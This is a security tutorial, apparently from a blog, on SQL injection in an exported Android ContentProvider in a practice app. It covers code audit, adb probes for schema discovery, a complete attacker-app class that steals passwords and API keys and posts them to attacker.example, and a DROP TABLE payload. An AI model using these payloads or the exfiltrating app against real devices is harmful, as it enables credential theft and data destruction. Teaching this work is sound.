Home Android - SQL Injection in a ContentProvider
Post
Cancel

Android - SQL Injection in a ContentProvider

ContentProviders that back onto SQLite and accept caller-supplied selection / selectionArgs / sortOrder parameters without parameterization are vulnerable to classic SQL injection. The attack surface is narrower than a web SQLi, you usually only get UNION-style data exfiltration through the cursor, but on an exported provider, any installed app can issue queries that read tables they were never meant to see.


The shape

This is VulnContentProvider’s query() method - the method every ContentResolver.query() call from any app on the device eventually lands in, once the provider is reachable. Four things in it are worth stopping on, marked 1 through 4 below:

Annotated VulnContentProvider.query() showing four SQL-injection points

Highlight 1 is where the table name comes from. uri.getLastPathSegment() takes whatever’s at the end of the content:// URI - the /users in content://com.vulnlab.app.provider/users - and uses it as-is as the table name. Convenient: one query() serves every table, /users hits users, /sessions hits sessions, no per-table switch needed. But the if (table == null) table = "users" line is a default, not a check - it never verifies the table name is one the provider intended to expose.

Highlight 2 is the actual injection point. selection is the raw string the caller passed in - as --where over adb, or the selection parameter of ContentResolver.query(). It’s string-concatenated straight after " WHERE ", no parameterization. Same mistake as building SQL with + in a servlet, just relocated to Android IPC - and the source even leaves itself a note about it: // VULN: raw attacker string in SQL.

Highlight 3 is where 1 and 2 combine. "SELECT * FROM " + table + where glues an attacker-influenced table name and an attacker-controlled WHERE clause onto a fixed SELECT *. Three untrusted-adjacent pieces, one concatenated string, nothing bound.

Highlight 4 is what actually makes it exploitable. db.rawQuery(query, null) runs that string as SQL and passes null for the bind arguments. That null is the tell: with selectionArgs used correctly, SQLite would bind the untrusted values safely regardless of content. With null, every character of selection is parsed as SQL syntax instead. That’s the whole bug in one argument.

Three injectable parameters fall out of this:

Selection (highlight 2), concatenated into the WHERE clause. Standard SQLi.

Table name (highlight 1), taken from the URI path with no allowlist. Attacker reads tables never meant to be exposed through this authority (users, sessions).

Projection, not exploitable here because rawQuery ignores the projection parameter entirely - but worth checking on every other provider you audit, because a variant that passes projection straight into db.query() will accept a subquery in place of a column name: (SELECT password FROM users WHERE id=1).

None of that matters if the provider isn’t reachable, so the other half of “the shape” is AndroidManifest.xml - same as any provider bug, it’s where you get the authority and the reachability. Three attributes on this declaration decide whether the injectable code above is reachable at all:

Annotated VulnContentProvider manifest declaration showing three reachability attributes

Highlight 1, android:authorities, is the host of every content:// URI you’ll query - content://com.vulnlab.app.provider/.... android:name maps that authority to the class to open next, VulnContentProvider.

Highlight 2, android:exported="true" with no android:readPermission, is what makes any of this reachable - every installed app can call ContentResolver.query() against this authority. Flip it to false, or gate it behind a signature permission, and the injection is still a bug but no longer one a third-party app can trigger.

Highlight 3, android:grantUriPermissions="true", isn’t directly related to the SQL injection, but worth noting - it lets this provider hand out temporary URI grants, which matters when chaining with other primitives (the path-traversal openFile() bug in this same class, for one).

With the authority and class name in hand, grep the decompile for that class’s query implementation:

1
grep -rn '@Override.*public Cursor query' decompile/

For each, check:

1
2
3
4
db.query(table, projection, selection, selectionArgs, ...);   // mostly safe if selectionArgs used
db.rawQuery(sql, args);                                       // potentially dangerous depending on sql
db.execSQL(stmt);                                             // dangerous
sqlBuilder.appendWhere(...);                                  // dangerous if input is concatenated

The vulnerability is when the parameters that go into the WHERE clause (or projection, or table name) are concatenated from attacker input rather than passed as selectionArgs (which SQLite binds safely).

Runtime hook on the vulnerable class directly:

1
2
3
4
5
6
7
Java.perform(function () {
  const VP = Java.use('com.vulnlab.app.providers.VulnContentProvider');
  VP.query.implementation = function (uri, proj, sel, selArgs, sort) {
    console.log('[VulnContentProvider.query] uri=' + uri + ' selection=' + sel);
    return this.query(uri, proj, sel, selArgs, sort);
  };
});

Fire the probes below via adb and watch what concatenated SQL the provider actually builds (also visible in logcat under tag VulnProvider).


Confirming it, and shaping the query

Before writing any exploit, three things have to be answered: is the selection actually evaluated as SQL, how many columns does the base query return, and what tables and columns exist. Black-box you derive each in turn; with the lab source you read them straight off the CREATE TABLE and skip ahead.

One quoting gotcha first: adb shell hands the command to a second shell on the device, which re-splits on spaces. A multi-word --where like 1=0 UNION SELECT 1 arrives as separate tokens and content rejects UNION as an unknown argument. Wrap the clause in single quotes inside the double quotes so the device shell keeps it as one token. (Those single quotes are the shell’s, not SQL’s - fine while the payload contains no '; when it does, run the query from the attacker app instead, where no second shell mangles it.)

Is it injectable. A boolean pair - the row count flips only if your string is parsed as SQL, not bound (1=1 / 1=2 are single tokens, so they need no extra quoting):

1
2
3
adb shell content query --uri content://com.vulnlab.app.provider/users --where "1=1"   # all rows

adb shell content query --uri content://com.vulnlab.app.provider/users --where "1=2"   # none

A dangling keyword forces a syntax error - proof the clause is concatenated into a parsed statement, not bound as a literal:

1
adb shell content query --uri content://com.vulnlab.app.provider/users --where "'1=1 AND'"   # SQLiteException in logcat

How many columns. The provider runs SELECT * FROM users, so a UNION has to supply the same column count. Walk it up until the syntax error clears:

1
2
3
adb shell content query --uri content://com.vulnlab.app.provider/users --where "'1=0 UNION SELECT 1'"

adb shell content query --uri content://com.vulnlab.app.provider/users --where "'1=0 UNION SELECT 1,2,3,4,5'"   # clears → 5 columns

1=0 keeps the base rows out so only the injected row returns. ORDER BY 6 works too - it errors while the ordinal exceeds the column count.

What tables and columns. With the count known, pull the schema from sqlite_master - name is the table, sql is its full CREATE TABLE:

1
2
3
adb shell content query \
    --uri content://com.vulnlab.app.provider/users \
    --where "'1=0 UNION SELECT name,sql,3,4,5 FROM sqlite_master'"

That hands you every table, every column, every constraint - which is where users(id, email, password, role, api_key) comes from. The exploit query just fills the five slots with the columns worth stealing:

1
1=1 UNION SELECT id, email, password, role, api_key FROM users

So the attacker app’s hardcoded UNION below isn’t a guess - it’s the output of these three steps.


Attacker app

The attacker app does three things. It builds the content:// URI for the target table. It calls getContentResolver().query(...) with a malicious selection - 1=1 UNION SELECT ... - which the provider concatenates straight into its SELECT, so the cursor comes back carrying whatever columns the injected query named. It walks that cursor and ships the rows to a server the attacker controls, on a background thread so the query doesn’t block the UI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri = Uri.parse("content://com.vulnlab.app.provider/users");

        // injected UNION pulls admin creds + API keys from the same table
        Cursor c = getContentResolver().query(
            uri,
            null,
            "1=1 UNION SELECT id, email, password, role, api_key FROM users",
            null,
            null);

        StringBuilder out = new StringBuilder();
        if (c != null) {
            while (c.moveToNext()) {
                out.append(c.getString(1)).append('|')      // email
                   .append(c.getString(2)).append('|')      // password
                   .append(c.getString(4)).append('\n');    // api_key
            }
            c.close();
        }

        new Thread(() -> {                           // exfiltrate off the main thread
            try {
                new OkHttpClient().newCall(new Request.Builder()
                    .url("https://attacker.example/")
                    .post(RequestBody.create(out.toString().getBytes()))
                    .build()).execute();
            } catch (IOException ignored) {}
        }).start();
    }
}

The injected UNION SELECT returns admin credentials and API keys from the same table, and the attacker POSTs them out with no prompt and nothing on screen. Variant: read tables the provider was never meant to expose by changing the URI path segment (e.g. /sessions).

The same dump straight from adb, no attacker app needed:

1
2
3
adb shell content query \
    --uri content://com.vulnlab.app.provider/users \
    --where "'1=1 UNION SELECT id, email, password, role, api_key FROM users'"


The “but selectionArgs is safe” objection

True if used. Many apps build the selection string by concatenation but then pass an empty selectionArgs. The selectionArgs parameter exists, it is just unused. The concatenated selection is the injection point.

A second variant, seen on other providers in the wild rather than this one: the developer passes selectionArgs correctly for some query paths and not others, e.g. a provider with a switch on URI path that routes to several table-specific queries, one of which was written by someone who didn’t get the memo. The audit step is reading every branch, not just the first one you find.


The execSQL escalation, write primitive

VulnContentProvider’s own update()/insert()/delete() are no-op stubs (return 0 / null) — there’s no write primitive in this lab app. But it’s common enough in the wild to be worth knowing the shape. If a provider exposes update, insert, or delete via concatenated SQL instead of stubbing them out, you get a write primitive:

1
2
3
4
5
6
7
8
// Hypothetical — not present in VulnContentProvider
@Override
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
    String sql = "UPDATE users SET name = '" + values.getAsString("name") +
                 "' WHERE id = " + uri.getLastPathSegment();
    db.execSQL(sql);
    return 1;
}

The URI segment is concatenated into the WHERE. Attacker passes 1; DROP TABLE users; -- as the path segment. The execSQL runs both statements (on some SQLite configurations, depends on whether multi-statement is enabled).

Even without multi-statement, the attacker can update arbitrary rows by injecting into the WHERE: id = 1 OR 1=1 updates every row.


Closing

ContentProvider SQL injection is the classic web bug translated to IPC. The grep is on SQLiteDatabase.query / rawQuery / execSQL calls inside provider classes. The exploit is the standard UNION-SELECT one. Always check whether selectionArgs is actually used or just passed empty alongside a concatenated selection.

Happy Hacking !!

This post is licensed under CC BY 4.0 by the author.